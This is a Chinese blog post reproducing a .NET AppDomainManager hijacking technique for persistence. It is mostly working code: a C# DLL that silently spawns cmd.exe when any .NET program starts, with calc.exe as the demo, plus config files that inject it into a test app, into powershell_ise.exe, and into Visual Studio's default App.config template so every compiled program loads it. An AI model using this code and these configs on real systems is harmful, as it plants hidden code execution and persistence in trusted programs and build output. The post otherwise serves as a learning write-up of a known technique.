.NET程序劫持
0x00前言
翻了翻收集的资源,打算学习一波。翻到三好学生的.NET劫持操作,复现一波
0x01实验过程
创建一个简单的C#程序
using System;
public class Program
{
public static void Main()
{
Console.WriteLine("Inside the App");
}
}
输出如下
创建一个名为hijack.dll的dll
using System;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
using System.Dynamic;
namespace hijack
{
public class cmd {
private static string CmdPath = @"C:\Windows\System32\cmd.exe";
/// <summary>
/// 执行cmd命令 返回cmd窗口显示的信息
/// 多命令请使用批处理命令连接符:
/// <![CDATA[
/// &:同时执行两个命令
/// |:将上一个命令的输出,作为下一个命令的输入
/// &&:当&&前的命令成功时,才执行&&后的命令
/// ||:当||前的命令失败时,才执行||后的命令]]>
/// </summary>
/// <param name="cmd">执行的命令</param>
public string RunCmd(string cmd)
{
cmd = cmd.Trim().TrimEnd('&') + "&exit";//说明:不管命令是否成功均执行exit命令,否则当调用ReadToEnd()方法时,会处于假死状态
using (Process p = new Process())
{
p.StartInfo.FileName = CmdPath;
p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动
p.StartInfo.RedirectStandardInput = true; //接受来自调用程序的输入信息
p.StartInfo.RedirectStandardOutput = true; //由调用程序获取输出信息
p.StartInfo.RedirectStandardError = true; //重定向标准错误输出
p.StartInfo.CreateNoWindow = true; //不显示程序窗口
p.Start();//启动程序
//向cmd窗口写入命令
p.StandardInput.WriteLine(cmd);
p.StandardInput.AutoFlush = true;
//获取cmd窗口的输出信息
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();//等待程序执行完退出进程
p.Close();
return output;
}
}
}
public class InjectedDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
cmd f = new cmd();
f.RunCmd("calc.exe");
}
}
}
修改yuan.exe.config为如下
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
<runtime>
<appDomainManagerType value="hijack.InjectedDomainManager" />
<appDomainManagerAssembly
value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
之后hijack.dll运行在yuan.exe前面
尝试劫持C:\Windows\system32\WindowsPowerShell\v1.0\powershell_ise.exe
创建powershell_ise.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
<runtime>
<appDomainManagerType value="hijack.InjectedDomainManager" />
<appDomainManagerAssembly
value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
还有一个操作就是修改Vs创建C#工程时的默认App.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
</startup>
<runtime>
<appDomainManagerType value="hijack.InjectedDomainManager" />
<appDomainManagerAssembly
value="hijack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
</runtime>
</configuration>
编译的时候exe的config也会跟着改变
参考链接
Use AppDomainManager to maintain persistence – 3gstudent – Good in study, attitude and health
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:.NET程序劫持
本文作者:九世
发布时间:2020-01-13, 21:07:33
最后更新:2020-01-13, 21:47:56
原始链接:http://jiushill.github.io/posts/576bc259.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。